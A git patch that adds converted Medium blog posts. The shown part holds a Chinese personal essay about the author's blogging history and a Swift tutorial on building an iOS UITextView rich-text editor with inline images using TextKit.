From 5df531dfa5c5db9deb3e2c1726f81286aaaac712 Mon Sep 17 00:00:00 2001 From: ZMediumToMarkdown Date: Sun, 26 May 2024 15:00:51 +0000 Subject: [PATCH] Update fetched posts. --- .../2018-10-06-b7a3fb3d5531.md | 78 + .../2018-10-13-e37d66ea1146.md | 321 +++ .../2018-10-15-cb6eba52a342.md | 240 ++ .../2018-10-16-9a9aa892f9a9.md | 206 ++ .../2018-10-17-793bf2cdda0f.md | 219 ++ .../2018-10-18-1ca246e27273.md | 235 ++ .../2018-10-25-a4bc3bce7513.md | 151 ++ .../2018-11-01-ade9e745a4bf.md | 183 ++ .../2018-11-02-fd7f92d52baa.md | 231 ++ .../2018-11-03-8d863bcd1c55.md | 87 + .../2018-11-12-f644db1bb8bf.md | 122 + .../2018-11-26-a2920e33e73e.md | 425 +++ .../2019-02-05-e85d77b05061.md | 753 ++++++ .../2019-02-06-6012b7b4f612.md | 67 + .../2019-04-27-ac557047d206.md | 308 +++ .../2019-04-29-c5e7e580c341.md | 364 +++ .../2019-05-01-33afa0ae557d.md | 377 +++ .../2019-07-05-c3150cdc85dd.md | 611 +++++ .../2019-07-08-a66ce3dc8bb9.md | 388 +++ .../2019-07-24-729d7b6817a4.md | 464 ++++ .../2019-09-20-46410aaada00.md | 355 +++ .../2019-09-22-4079036c85c2.md | 137 + .../2019-09-26-21119db777dd.md | 253 ++ .../2019-09-26-bcff7c157941.md | 171 ++ .../2019-11-11-b08ef940c196.md | 435 +++ .../2020-01-11-14cee137c565.md | 953 +++++++ .../2020-01-12-94a4020edb82.md | 93 + .../2020-01-12-d01252331b53.md | 78 + .../2020-02-01-a8c2d7ed144b.md | 150 ++ .../2020-03-28-7498e1ff93ce.md | 309 +++ .../2020-04-08-d796bf8e661e.md | 230 ++ .../2020-04-20-99db2a1fbfe5.md | 1279 +++++++++ .../2020-05-10-2e4429f410d6.md | 195 ++ .../2020-06-13-1aa2f8445642.md | 836 ++++++ .../2020-06-17-724a7fb9a364.md | 456 ++++ .../2020-06-25-cb00b1977537.md | 336 +++ .../2020-07-02-8a04443024e2.md | 187 ++ .../2020-09-17-41c49a75a743.md | 875 ++++++ .../2020-10-14-eab0e984043.md | 420 +++ .../2020-11-02-c0f99f987d9c.md | 147 + .../2020-12-17-c4d7c2ce5a8d.md | 483 ++++ .../2021-01-05-ee47f8f1e2d2.md | 35 + .../2021-01-31-6ce488898003.md | 1094 ++++++++ .../2021-02-02-948ed34efa09.md | 345 +++ .../2021-02-04-12c5026da33d.md | 482 ++++ .../2021-02-05-87090f101b9a.md | 473 ++++ .../2021-02-20-70a1409b149a.md | 791 ++++++ .../2021-02-22-142244e5f07a.md | 241 ++ .../2021-02-23-d9a95d4224ea.md | 303 +++ .../2021-02-24-5ea3311119d8.md | 173 ++ .../2021-03-14-99a6cef90190.md | 175 ++ .../2021-03-23-9659db1357e4.md | 863 ++++++ .../2021-04-21-cb0c68c33994.md | 554 ++++ .../2021-05-05-33f6aabb744f.md | 57 + .../2021-06-13-d61062833c1a.md | 998 +++++++ .../2021-06-15-ba5773a7bfea.md | 443 +++ .../2021-07-25-1c9eafd4a190.md | 430 +++ .../2021-08-07-118e924a1477.md | 345 +++ .../2021-08-07-d414bdbdb8c9.md | 375 +++ .../2021-09-09-11f6c8568154.md | 623 +++++ .../2021-10-19-e77b80cc6f89.md | 538 ++++ .../2021-10-24-9a05f632eba0.md | 719 +++++ .../2021-11-21-793cb8f89b72.md | 338 +++ .../2022-04-07-78507a8de6a5.md | 1242 +++++++++ .../2022-05-28-ddd88a84e177.md | 222 ++ .../2022-06-09-a8c2d26cc734.md | 821 ++++++ .../2022-07-08-60473cb47550.md | 304 +++ .../2022-07-15-48a8526c1300.md | 554 ++++ .../2022-07-16-a0c08d579ab1.md | 747 ++++++ .../2022-07-20-f1365e51902c.md | 228 ++ .../2022-08-10-e36e48bb9265.md | 879 ++++++ .../2022-12-02-4b9d09cea5f0.md | 185 ++ .../2023-02-26-a5643de271e4.md | 226 ++ .../2023-03-11-2724f02f6e7.md | 2000 ++++++++++++++ .../2023-03-17-e7c547a5be22.md | 124 + .../2023-07-07-76d66c2e34af.md | 1231 +++++++++ .../2023-07-09-9da2c51fa4f2.md | 1235 +++++++++ .../2023-08-01-382218e15697.md | 489 ++++ .../2023-08-28-5a5c4b25a83d.md | 611 +++++ .../2023-09-28-7b8a0563c157.md | 492 ++++ .../2023-10-04-d78e0b15a08a.md | 2377 +++++++++++++++++ .../2024-01-09-31b9b3a63abc.md | 1557 +++++++++++ .../2024-02-16-bd94cc88f9c9.md | 1942 ++++++++++++++ .../2024-04-14-f6713ba3fee3.md | 1646 ++++++++++++ .../2024-05-14-b04f4fba3cf2.md | 498 ++++ .../2024-05-25-9903c9783a97.md | 770 ++++++ .../2024-05-25-9d0f23784359.md | 649 +++++ 87 files changed, 45632 insertions(+) create mode 100644 _posts/zmediumtomarkdown/2018-10-06-b7a3fb3d5531.md create mode 100644 _posts/zmediumtomarkdown/2018-10-13-e37d66ea1146.md create mode 100644 _posts/zmediumtomarkdown/2018-10-15-cb6eba52a342.md create mode 100644 _posts/zmediumtomarkdown/2018-10-16-9a9aa892f9a9.md create mode 100644 _posts/zmediumtomarkdown/2018-10-17-793bf2cdda0f.md create mode 100644 _posts/zmediumtomarkdown/2018-10-18-1ca246e27273.md create mode 100644 _posts/zmediumtomarkdown/2018-10-25-a4bc3bce7513.md create mode 100644 _posts/zmediumtomarkdown/2018-11-01-ade9e745a4bf.md create mode 100644 _posts/zmediumtomarkdown/2018-11-02-fd7f92d52baa.md create mode 100644 _posts/zmediumtomarkdown/2018-11-03-8d863bcd1c55.md create mode 100644 _posts/zmediumtomarkdown/2018-11-12-f644db1bb8bf.md create mode 100644 _posts/zmediumtomarkdown/2018-11-26-a2920e33e73e.md create mode 100644 _posts/zmediumtomarkdown/2019-02-05-e85d77b05061.md create mode 100644 _posts/zmediumtomarkdown/2019-02-06-6012b7b4f612.md create mode 100644 _posts/zmediumtomarkdown/2019-04-27-ac557047d206.md create mode 100644 _posts/zmediumtomarkdown/2019-04-29-c5e7e580c341.md create mode 100644 _posts/zmediumtomarkdown/2019-05-01-33afa0ae557d.md create mode 100644 _posts/zmediumtomarkdown/2019-07-05-c3150cdc85dd.md create mode 100644 _posts/zmediumtomarkdown/2019-07-08-a66ce3dc8bb9.md create mode 100644 _posts/zmediumtomarkdown/2019-07-24-729d7b6817a4.md create mode 100644 _posts/zmediumtomarkdown/2019-09-20-46410aaada00.md create mode 100644 _posts/zmediumtomarkdown/2019-09-22-4079036c85c2.md create mode 100644 _posts/zmediumtomarkdown/2019-09-26-21119db777dd.md create mode 100644 _posts/zmediumtomarkdown/2019-09-26-bcff7c157941.md create mode 100644 _posts/zmediumtomarkdown/2019-11-11-b08ef940c196.md create mode 100644 _posts/zmediumtomarkdown/2020-01-11-14cee137c565.md create mode 100644 _posts/zmediumtomarkdown/2020-01-12-94a4020edb82.md create mode 100644 _posts/zmediumtomarkdown/2020-01-12-d01252331b53.md create mode 100644 _posts/zmediumtomarkdown/2020-02-01-a8c2d7ed144b.md create mode 100644 _posts/zmediumtomarkdown/2020-03-28-7498e1ff93ce.md create mode 100644 _posts/zmediumtomarkdown/2020-04-08-d796bf8e661e.md create mode 100644 _posts/zmediumtomarkdown/2020-04-20-99db2a1fbfe5.md create mode 100644 _posts/zmediumtomarkdown/2020-05-10-2e4429f410d6.md create mode 100644 _posts/zmediumtomarkdown/2020-06-13-1aa2f8445642.md create mode 100644 _posts/zmediumtomarkdown/2020-06-17-724a7fb9a364.md create mode 100644 _posts/zmediumtomarkdown/2020-06-25-cb00b1977537.md create mode 100644 _posts/zmediumtomarkdown/2020-07-02-8a04443024e2.md create mode 100644 _posts/zmediumtomarkdown/2020-09-17-41c49a75a743.md create mode 100644 _posts/zmediumtomarkdown/2020-10-14-eab0e984043.md create mode 100644 _posts/zmediumtomarkdown/2020-11-02-c0f99f987d9c.md create mode 100644 _posts/zmediumtomarkdown/2020-12-17-c4d7c2ce5a8d.md create mode 100644 _posts/zmediumtomarkdown/2021-01-05-ee47f8f1e2d2.md create mode 100644 _posts/zmediumtomarkdown/2021-01-31-6ce488898003.md create mode 100644 _posts/zmediumtomarkdown/2021-02-02-948ed34efa09.md create mode 100644 _posts/zmediumtomarkdown/2021-02-04-12c5026da33d.md create mode 100644 _posts/zmediumtomarkdown/2021-02-05-87090f101b9a.md create mode 100644 _posts/zmediumtomarkdown/2021-02-20-70a1409b149a.md create mode 100644 _posts/zmediumtomarkdown/2021-02-22-142244e5f07a.md create mode 100644 _posts/zmediumtomarkdown/2021-02-23-d9a95d4224ea.md create mode 100644 _posts/zmediumtomarkdown/2021-02-24-5ea3311119d8.md create mode 100644 _posts/zmediumtomarkdown/2021-03-14-99a6cef90190.md create mode 100644 _posts/zmediumtomarkdown/2021-03-23-9659db1357e4.md create mode 100644 _posts/zmediumtomarkdown/2021-04-21-cb0c68c33994.md create mode 100644 _posts/zmediumtomarkdown/2021-05-05-33f6aabb744f.md create mode 100644 _posts/zmediumtomarkdown/2021-06-13-d61062833c1a.md create mode 100644 _posts/zmediumtomarkdown/2021-06-15-ba5773a7bfea.md create mode 100644 _posts/zmediumtomarkdown/2021-07-25-1c9eafd4a190.md create mode 100644 _posts/zmediumtomarkdown/2021-08-07-118e924a1477.md create mode 100644 _posts/zmediumtomarkdown/2021-08-07-d414bdbdb8c9.md create mode 100644 _posts/zmediumtomarkdown/2021-09-09-11f6c8568154.md create mode 100644 _posts/zmediumtomarkdown/2021-10-19-e77b80cc6f89.md create mode 100644 _posts/zmediumtomarkdown/2021-10-24-9a05f632eba0.md create mode 100644 _posts/zmediumtomarkdown/2021-11-21-793cb8f89b72.md create mode 100644 _posts/zmediumtomarkdown/2022-04-07-78507a8de6a5.md create mode 100644 _posts/zmediumtomarkdown/2022-05-28-ddd88a84e177.md create mode 100644 _posts/zmediumtomarkdown/2022-06-09-a8c2d26cc734.md create mode 100644 _posts/zmediumtomarkdown/2022-07-08-60473cb47550.md create mode 100644 _posts/zmediumtomarkdown/2022-07-15-48a8526c1300.md create mode 100644 _posts/zmediumtomarkdown/2022-07-16-a0c08d579ab1.md create mode 100644 _posts/zmediumtomarkdown/2022-07-20-f1365e51902c.md create mode 100644 _posts/zmediumtomarkdown/2022-08-10-e36e48bb9265.md create mode 100644 _posts/zmediumtomarkdown/2022-12-02-4b9d09cea5f0.md create mode 100644 _posts/zmediumtomarkdown/2023-02-26-a5643de271e4.md create mode 100644 _posts/zmediumtomarkdown/2023-03-11-2724f02f6e7.md create mode 100644 _posts/zmediumtomarkdown/2023-03-17-e7c547a5be22.md create mode 100644 _posts/zmediumtomarkdown/2023-07-07-76d66c2e34af.md create mode 100644 _posts/zmediumtomarkdown/2023-07-09-9da2c51fa4f2.md create mode 100644 _posts/zmediumtomarkdown/2023-08-01-382218e15697.md create mode 100644 _posts/zmediumtomarkdown/2023-08-28-5a5c4b25a83d.md create mode 100644 _posts/zmediumtomarkdown/2023-09-28-7b8a0563c157.md create mode 100644 _posts/zmediumtomarkdown/2023-10-04-d78e0b15a08a.md create mode 100644 _posts/zmediumtomarkdown/2024-01-09-31b9b3a63abc.md create mode 100644 _posts/zmediumtomarkdown/2024-02-16-bd94cc88f9c9.md create mode 100644 _posts/zmediumtomarkdown/2024-04-14-f6713ba3fee3.md create mode 100644 _posts/zmediumtomarkdown/2024-05-14-b04f4fba3cf2.md create mode 100644 _posts/zmediumtomarkdown/2024-05-25-9903c9783a97.md create mode 100644 _posts/zmediumtomarkdown/2024-05-25-9d0f23784359.md diff --git a/_posts/zmediumtomarkdown/2018-10-06-b7a3fb3d5531.md b/_posts/zmediumtomarkdown/2018-10-06-b7a3fb3d5531.md new file mode 100644 index 000000000..670256fc5 --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-10-06-b7a3fb3d5531.md @@ -0,0 +1,78 @@ +--- +title: "Medium的第一篇" +author: "ZhgChgLi" +date: 2018-10-06T04:53:36.745+0000 +last_modified_at: 2023-08-05T17:29:21.770+0000 +categories: "ZRealm Life." +tags: ["blog","blogger","developer","生活","medium"] +description: "前言:已經超過4年沒有在經營Blog,之前的廣告收益尾款US$88就這樣一直卡著,最近發現可以主動要求取消Adsense帳戶,只要達到最低給付額度Google就會把最後一筆收益給你;這也算是給了我一個動力再回來寫Blog." +image: + path: /assets/b7a3fb3d5531/1*haJDXXSgWX--oHXqpRVhaQ.jpeg +render_with_liquid: false +--- + +### 萬事起頭難 + + +已經超過4年沒有在經營Blog,之前的廣告收益尾款US$88就這樣一直卡著,最近發現可以主動要求取消Adsense帳戶,只要達到最低給付額度Google就會把最後一筆收益給你;這也算是給了我一個動力再回來寫Blog. + +初來乍到,就用“萬事起頭難” 這個簡單的標題當作開端 + +回想起寫Blog的歷史,大約是在國中正值最瘋遊戲的時期,那時候家中電腦很爛基本沒什麼遊戲可以玩,但在那個貪玩的年紀,就算沒遊戲可以打還是要每天打開電腦,對那時候的我來說就已經很新鮮了. + +由於以上因素,所以大部分用電腦的時間我都在用即時通跟同學喇賽、逛逛網頁;可想而知,其實很空洞又缺乏成就感\(至少別人玩遊戲還能獲得成就感\) + +而就在那時”Blog”正值興盛時期這個對我來說非常的新鮮;而第一個接觸的當然就是紅極一時的無名小站,當我辦好帳號第一次打開Blog的那個時刻心情就是「哇!有自己的網站」、「哇!還可以換樣式好酷」;剛好學校電腦課有教網頁設計\(Front\-Page 2003/ [阿聖網站](http://sheng.phy.nknu.edu.tw/){:target="_blank"} \),所以第一個Blog都在研究功能上的項目;找素材、玩樣式跟裝很多很“夏趴”的JavaScript外掛,反觀內容質量部分基本上都是廢文. + +這讓當時對網路世界懵懂無知的我有了更深入的認識,例如:如何找資料?、外掛裝上去壞掉怎麼解決?、圖片怎麼嵌入?…\.等等 + +其中有許多資料都是由論壇取得,當時也是”論壇”的興盛時期,但我就是標準的潛水客只看不發,偶爾回個文「感謝大大無私分享」;在逛各大論壇的時候發現有”免費論壇”這種東西,申請就能當站長有自己的論壇,Level相比Blog又更高一層了,這次是“站長”、“站長”、“站長” 好酷!! + +結合之前玩轉Blog設定的基礎,論壇可以玩的設定又多更多\(開版/會員權限/插件中心\) 什麼都可以自己設定,宛如進入到另一個世界 + +免費論壇系統有很多家;當中一直換來換去不斷的嘗試,有的是功能不完全、有的是不自由、有的不穩定、有的廣告太干擾,最後比較有印象的是 [Marlito](https://free.com.tw/free-discuz-forum-marlito/){:target="_blank"} ,最符合我的需求,也在上面經營得最久. + +與此同時,Blog也搬家到” [優仕網部落格](http://blog.youthwant.com.tw){:target="_blank"} ”;起因是無名開始限制東限制西,優仕網那時候剛起步,先來先贏、限制少、功能符合需求,這次有在經營文章內容,7成在分享我覺得好用的程式\(類似阿榮福利味\)另外3成是玩論壇的經驗分享\(設定/BUG處理\) + +文章總數大約30篇,瀏覽量一天約200人/最高500人\(現在看來沒什麼\)、優仕網部落格排行榜前10名,流量幾乎都來在分享好用程式的文章;認真經營了一年多,再來遇到國三忙課業、上高中,一路斷斷續續,之後又參加選手培訓就放著養蚊子了。 + + +![由於Blog名稱太中二,只放上瀏覽數截圖](/assets/b7a3fb3d5531/1*4f2u_8dJ_OOeDcKt_Msayg.png) + +由於Blog名稱太中二,只放上瀏覽數截圖 + +之後又再創了一個 [Blogger](https://www.blogger.com/about/?r=1-null_user){:target="_blank"} 都是技術面的文章紀錄寫程式遇到的問題跟解決方法;但Blogger不好用,基本功能都無法滿足,寫了幾篇就放棄了 + +後期自己申請網域跟買空間架了一個WordPress Blog,但什麼都要自己來、設定、調整功能…我無法專注在寫內容這件事上ㄧ樣是斷斷續續在寫,空間到期後就不續約網站直接下線直到現在。 + +總結,一路走來從對Blog這個東西感到很新鮮\->到\->研究玩轉Blog的功能\->到\->開始專注Blog本質\-文章內容\->到\->分享技術型文章 + +懶了、少了紀錄過程及回頭檢視和分享出來、嘗過廣告收益的甜頭,漸漸地離初衷越來越遠,單純熱心想要與大家分享的那顆心 + + +![[https://www\.flickr\.com/photos/zuvonne/3738631215](https://www.flickr.com/photos/zuvonne/3738631215){:target="_blank"}](/assets/b7a3fb3d5531/1*haJDXXSgWX--oHXqpRVhaQ.jpeg) + +[https://www\.flickr\.com/photos/zuvonne/3738631215](https://www.flickr.com/photos/zuvonne/3738631215){:target="_blank"} +### 給自己一個新目標,教學相長為初衷,開始重新紀錄生活! +1. 技術面的:iOS App開發,Swift,PHP,Mysql… +2. 生活面的:工作、攝影、開箱、Murmur有的沒的 +3. 經驗面的:最近在碰機器學習,從0開始的過程 +4. 故事面的:技能競賽經歷、生活觀察 + + + + +> _本文同步發表於個人 Blog: [**\[點我前往\]**](../b7a3fb3d5531/) 。_ + + + + + +> _有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。_ + + + + + + +_[Post](https://medium.com/zrealm-life/medium%E7%9A%84%E7%AC%AC%E4%B8%80%E7%AF%87-b7a3fb3d5531){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-10-13-e37d66ea1146.md b/_posts/zmediumtomarkdown/2018-10-13-e37d66ea1146.md new file mode 100644 index 000000000..344bb1c11 --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-10-13-e37d66ea1146.md @@ -0,0 +1,321 @@ +--- +title: "iOS UITextView 文繞圖編輯器 (Swift)" +author: "ZhgChgLi" +date: 2018-10-13T18:07:49.431+0000 +last_modified_at: 2024-04-13T07:11:24.880+0000 +categories: "ZRealm Dev." +tags: ["swift","ios","mobile-app-development","uitextview","ios-app-development"] +description: "文" +image: + path: /assets/e37d66ea1146/1*Sh0XaryqYnqVGV0wJ_dDHA.gif +render_with_liquid: false +--- + +### iOS UITextView 文繞圖編輯器 \(Swift\) + +實戰路線 + +#### 目標功能: + +APP上有一個讓使用者能發表文章的討論區功能,發表文章功能介面需要能輸入文字、插入多張圖片、支援文繞圖穿插. +#### 功能需求: +- 能輸入多行文字 +- 能在行中穿插圖片 +- 能上傳多張圖片 +- 能隨意移除插入的圖片 +- 圖片上傳效果/失敗處理 +- 能將輸入內容轉譯成可傳遞文本 EX: BBCODE + +#### 先上個成品效果圖: + + +![[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}](/assets/e37d66ea1146/1*Sh0XaryqYnqVGV0wJ_dDHA.gif) + +[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"} +### 開始: +#### 第一章 + +什麼?你說第一章?不就用UITextView就能做到編輯器功能,哪來還需要分到「章節」;是的,我一開始的反應也是如此,直到我開始做才發現事情沒有那麼簡單,其中苦惱了我兩個星期、翻片國內外各種資料最後才找到解法,實作的心路歷程就讓我娓娓道來…\. + +如果想直接知道最終解法,請直接跳到最後一章\(往下滾滾滾滾滾\). +#### 一開始 + +文字編輯器理所當然是使用UITextView元件,看了一下文件UITextView attributedText 自帶 NSTextAttachment物件 可以附加圖片實做出文繞圖效果,程式碼也很簡單: +```swift +let imageAttachment = NSTextAttachment() +imageAttachment.image = UIImage(named: "example") +self.contentTextView.attributedText = NSAttributedString(attachment: imageAttachment) +``` + +當初天真的我還很開心想說蠻簡單的啊、好方便;問題現在才正要開始: +- 圖片要能是從本地選擇&上傳:這好解決,圖片選擇器我使用 [TLPhotoPicker](https://github.com/tilltue/TLPhotoPicker){:target="_blank"} 這個套件\(支援多圖選擇/客製化設定/切換相機拍照/Live Photos\),具體作法就是 TLPhotoPicker選完圖片Callback後將PHAsset轉成UIImage塞進去imageAttachment\.image並預先在背景上傳圖片至Server。 +- 圖片上傳要有效果並能添加互動操作\(點擊查看原圖/點擊X能刪除\):沒做出來,找不到NSTextAttachment有什麼辦法能做到這項需求,不過這功能沒有還行反正還是能刪除\(在圖片後按鍵盤上的「Back」鍵能刪除圖片\),我們繼續… +- 原始圖檔案過大,上傳慢、插入慢、吃效能:插入及上傳前先Resize過,用 [Kingfisher](https://github.com/onevcat/Kingfisher){:target="_blank"} 的resizeTo +- 圖片插入在游標停留的位置:這裡就要將原本的Code改成如下 + +```swift +let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0) +let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText) //取得當前內容 +combination.insert(NSAttributedString(attachment: imageAttachment), at: range) +self.contentTextView.attributedText = combination //回寫回去 +``` +- 圖片上傳失敗處理:這裡要說一下,我實際另外寫了一個Class 擴充原始的 NSTextAttachment 目的就是要多塞個屬性存識別用的值 + +```swift +class UploadImageNSTextAttachment:NSTextAttachment { + var uuid:String? +} +``` + +上傳圖片時改成: +```swift +let id = UUID().uuidString +let attachment = UploadImageNSTextAttachment() +attachment.uuid = id +``` + +有辦法辨識NSTextAttachment的對應之後,我們就能針對上傳失敗的圖片,去attributedTextd裡做NSTextAttachment搜索,找到他並取代成錯誤提示圖或直接移除 +```swift +if let content = self.contentTextView.attributedText { + content.enumerateAttributes(in: NSMakeRange(0, content.length), options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in + if object.keys.contains(NSAttributedStringKey.attachment) { + if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == "目標ID" { + attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30) + attachment.image = UIImage(named: "IconError") + let combination = NSMutableAttributedString(attributedString: content) + combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment)) + //如要直接移除可用deleteCharacters(in: range) + self.contentTextView.attributedText = combination + } + } + } +} +``` + +克服上述問題後,程式碼大約會長成這樣: +```swift +class UploadImageNSTextAttachment:NSTextAttachment { + var uuid:String? +} +func dismissPhotoPicker(withTLPHAssets: [TLPHAsset]) { + //TLPhotoPicker 圖片選擇器的Callback + + let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0) + //取得游標停留位置,無則從頭 + + guard withTLPHAssets.count > 0 else { + return + } + + DispatchQueue.global().async { in + //在背景處理 + let orderWithTLPHAssets = withTLPHAssets.sorted(by: { $0.selectedOrder > $1.selectedOrder }) + orderWithTLPHAssets.forEach { (obj) in + if var image = obj.fullResolutionImage { + + let id = UUID().uuidString + + var maxWidth:CGFloat = 1500 + var size = image.size + if size.width > maxWidth { + size.width = maxWidth + size.height = (maxWidth/image.size.width) * size.height + } + image = image.resizeTo(scaledToSize: size) + //縮圖 + + let attachment = UploadImageNSTextAttachment() + attachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height) + attachment.uuid = id + + DispatchQueue.main.async { + //切回主執行緒更新UI插入圖片 + let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText) + attachments.forEach({ (attachment) in + combination.insert(NSAttributedString(string: "\n"), at: range) + combination.insert(NSAttributedString(attachment: attachment), at: range) + combination.insert(NSAttributedString(string: "\n"), at: range) + }) + self.contentTextView.attributedText = combination + + } + + //上傳圖片至Server + //Alamofire post or.... + //POST image + //if failed { + if let content = self.contentTextView.attributedText { + content.enumerateAttributes(in: NSMakeRange(0, content.length), options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in + + if object.keys.contains(NSAttributedStringKey.attachment) { + if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == obj.key { + + //REPLACE: + attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30) + attachment.image = //ERROR Image + let combination = NSMutableAttributedString(attributedString: content) + combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment)) + //OR DELETE: + //combination.deleteCharacters(in: range) + + self.contentTextView.attributedText = combination + } + } + } + } + //} + // + + } + } + } +} +``` + +到此差不多問題都解決了,那是什麼苦惱了我兩週呢? + +答:「記憶體」問題 + + +![iPhone 6頂不住啊\!](/assets/e37d66ea1146/1*IcnoXq6e6OUnU_mg83XDxg.gif) + +iPhone 6頂不住啊\! + +以上做法插入超過5張圖片,UITextView就會開始卡頓;到一個程度就會因為記憶體負荷不了APP直接閃退 + +p\.s 試過各種壓縮/其他儲存方式,結果依然 + +推測原因是,UITextView沒有針對圖片的NSTextAttachment做Reuse,你所插入的所有圖片都Load在記憶體之中不會釋放;所以除非是拿來穿插表情符號那種小圖😅,不然根本不能拿來做文繞圖 +#### 第二章 + +發現記憶體這個「硬傷」後,繼續在網路上搜索解決方案,得到以下其他做法: +- 用WebView嵌套HTML檔案\( <div contentEditable=”true”></div>\)並用JS跟WebView做交互處理 +- 用UITableView结合UITextView,能Reuse +- 基於TextKit自行擴充UITextView🏆 + + +第一項用WebView嵌套HTML檔案的做法;考量到效能跟使用者體驗,所以不考慮,有興趣的朋友可以在Github搜尋相關的解決方案\(EX: [RichTextDemo](https://github.com/xiaosheng0601/RichTextDemo){:target="_blank"} \) + +第二項用UITableView结合UITextView + +我實作了大約7成出來,具體大約是每一行都是一個Cell,Cell有兩種,一種是UITextView另一種是UIImageView,圖片一行文字一行;內容必須用陣列去儲存,避免Reuse過程消失 + +能優秀的Reuse解決記憶體問題,但做到後面還是放棄了,在 **控制行尾按Return要能新建一行並跳到該行** 和 **控制行頭按Back鍵要能跳到上一行\(若當前為空行要能刪除該行\)** 這兩個部分上吃足苦頭,非常難控制 + +有興趣的朋友可參考: [MMRichTextEdit](https://gitee.com/dhar/MMRichTextEdit){:target="_blank"} 」 +#### 最終章 + +走到這裡已經耗費了許多時間,開發時程嚴重拖延;目前最終解法就是用TextKit + +這裡附上兩篇找到的文章給有興趣研究的朋友: +- [TextKit 探究](https://www.jianshu.com/p/3f445d7f44d6){:target="_blank"} +- [从UITextView看文字绘制优化](http://djs66256.github.io/2016/06/23/2016-06-23-cong-uitextviewkan-wen-zi-hui-zhi-you-hua/){:target="_blank"} + + +但有一定的學習門檻,對我這個菜鳥來說太難了,再說時間也已不夠,只能漫無目的在Github尋找他山之石借借用用 + +最終找到 [XLYTextKitExtension](https://github.com/kaizeiyimi/XLYTextKitExtension){:target="_blank"} 這個項目,可以直接引入Code使用 + +✔ 讓 NSTextAttachment 支援自訂義UIView 要加什麼交互操作都可以 + +✔ NSTextAttachment 可以Reuse 不會撐爆記憶體 + +具體實作方式跟 **第一章** 差不多,就只差在原本是用NSTextAttachment而現在改用XLYTextAttachment + +針對要使用的UITextView: +```swift +contentTextView.setUseXLYLayoutManager() +``` + +Tip 1:插入NSTextAttachment的地方改為 +```swift +let combine = NSMutableAttributedString(attributedString: NSAttributedString(string: "")) +let imageView = UIView() // your custom view +let imageAttachment = XLYTextAttachment { () -> UIView in + return imageView +} +imageAttachment.id = id +imageAttachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height) +combine.append(NSAttributedString(attachment: imageAttachment)) +self.contentTextView.textStorage.insert(combine, at: range) +``` + +Tip 2:NSTextAttachment搜索改為 +```php +self.contentTextView.textStorage.enumerateAttribute(NSAttributedStringKey.attachment, in: NSRange(location: 0, length: self.contentTextView.textStorage.length), options: []) { (value, range, stop) in + if let attachment = value as? XLYTextAttachment { + //attachment.id + } +} +``` + +Tip 3:刪除NSTextAttachment項目改為 +```swift +self.contentTextView.textStorage.deleteCharacters(in: range) +``` + +Tip 4:取得當前內容長度 +```swift +self.contentTextView.textStorage.length +``` + +Tip 5:刷新Attachment的Bounds大小 + +主因是為了使用者體驗;插入圖片時我會先塞一張loading圖,插入的圖片在背景壓縮後才會替換上去,要去更新TextAttachment的Bounds成Resize後大小 +```swift +self.contentTextView.textStorage.addAttributes([:], range: range) +``` + +\(新增空屬性,觸發刷新\) + +Tip 6: 將輸入內容轉譯成可傳遞文本 + +運用Tip 2搜索全部輸入內容並將找到的Attachment取出ID組合成類似\[ \[ID\] \]格式傳遞 + +Tip 7: 內容取代 +```swift +self.contentTextView.textStorage.replaceCharacters(in: range,with: NSAttributedString(attachment: newImageAttachment)) +``` + +Tip 8: 正規表示法匹配內容所在Range +```swift +let pattern = "(\\[\\[image_id=){1}([0-9]+){1}(\\]\\]){1}" +let textStorage = self.contentTextView.textStorage + +if let regex = try? NSRegularExpression(pattern: pattern, options: .caseInsensitive) { + while true { + let range = NSRange(location: 0, length: textStorage.length) + if let match = regex.matches(in: textStorage.string, options: .withTransparentBounds, range: range).first { + let matchString = textStorage.attributedSubstring(from: match.range) + //FINDED! + } else { + break + } + } +} +``` + +注意:如果你要搜尋&取代項目,需要使用While迴圈,不然當有多個搜尋結果時,找到第一個並取代後,後面的搜尋結果的Range就會錯誤導致閃退. +#### 結語 + +目前使用此方法完成成品並上線了,還沒遇到有什麼問題;有時間我再來好好探究一下其中的原理吧! + +這篇比較不是教學文章,而是個人解題心得分享;如果您也在實作類似功能,希望有幫助到你,有任何問題及指教歡迎與我聯絡. + + +> Medium的正式第一篇 + + + + +### 延伸閱讀 +- [ZMarkupParser HTML String 轉換 NSAttributedString 工具](../a5643de271e4/) +- [手工打造 HTML 解析器的那些事](../2724f02f6e7/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-uitextview-%E6%96%87%E7%B9%9E%E5%9C%96%E7%B7%A8%E8%BC%AF%E5%99%A8-swift-e37d66ea1146){:target="_blank"} converted from Medium by 